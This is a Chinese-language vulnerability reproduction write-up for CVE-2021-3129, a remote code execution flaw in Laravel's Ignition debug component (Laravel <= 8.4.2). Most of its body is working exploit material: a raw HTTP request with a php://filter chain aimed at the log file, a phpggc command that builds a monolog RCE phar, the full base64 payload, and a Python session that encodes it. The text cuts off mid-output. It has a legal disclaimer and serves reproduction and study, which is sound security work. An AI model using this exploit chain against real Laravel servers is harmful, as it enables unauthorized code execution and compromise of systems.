漏洞复现--laravel＜=8.4.2 Debug RCE

最新推荐文章于 2025-07-19 20:42:55 发布

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最新推荐文章于 2025-07-19 20:42:55 发布 · 544 阅读

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#laravel #安全 #php

本文介绍了2021年Laravel存在的远程代码执行漏洞（CVE-2021-3129），详细阐述了漏洞复现过程，包括清空log、生成phar文件、quoted-printable-encode、写入log等步骤，并分析了漏洞的触发条件和payload的构建技巧，提醒读者避免非法利用。

声明：本公众号大部分文章来黑白之间安全团队成员的实战经验以及学习积累，文章内公布的漏洞或者脚本都来自互联网，未经授权，严禁转载。

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本团队无关。

前言

2021年01月12日，Laravel被披露存在一个远程代码执行漏洞（CVE-2021-3129）。当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。

影响范围

laravel <= 8.4.2
Ignition <= 2.5.1
开启debug

CVE编号

CVE-2021-3129

复现步骤

清空 log

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.136.167:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.136.167:8000/_ignition/execute-solution
Content-Type: application/json
Content-Length: 320
Connection: close
Upgrade-Insecure-Requests: 1

{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
	"parameters":{
		"variableName": "username",
		"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=/var/www/laravel/storage/logs/laravel.log"
	}
}

生成phar文件并base64

php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0

PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAANNQBGAEAAAADH5/2LQBAAAAAAAACAAAAHRlc3QudHh0BAAAANNQBGAEAAAADH5/2LQBAAAAAAAAdGVzdHRlc3R5dqEGHXRSkD3PRm3X6/hNNh1MXQIAAABHQk1C

quoted-printable-encode

Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAANNQBGAEAAAADH5/2LQBAAAAAAAACAAAAHRlc3QudHh0BAAAANNQBGAEAAAADH5/2LQBAAAAAAAAdGVzdHRlc3R5dqEGHXRSkD3PRm3X6/hNNh1MXQIAAABHQk1C'
>>> ''.join(["=" + hex(ord(i))[2:] + "=00" for i in a]).upper()
'=50=00=44=00=39=00=77=00=61=00

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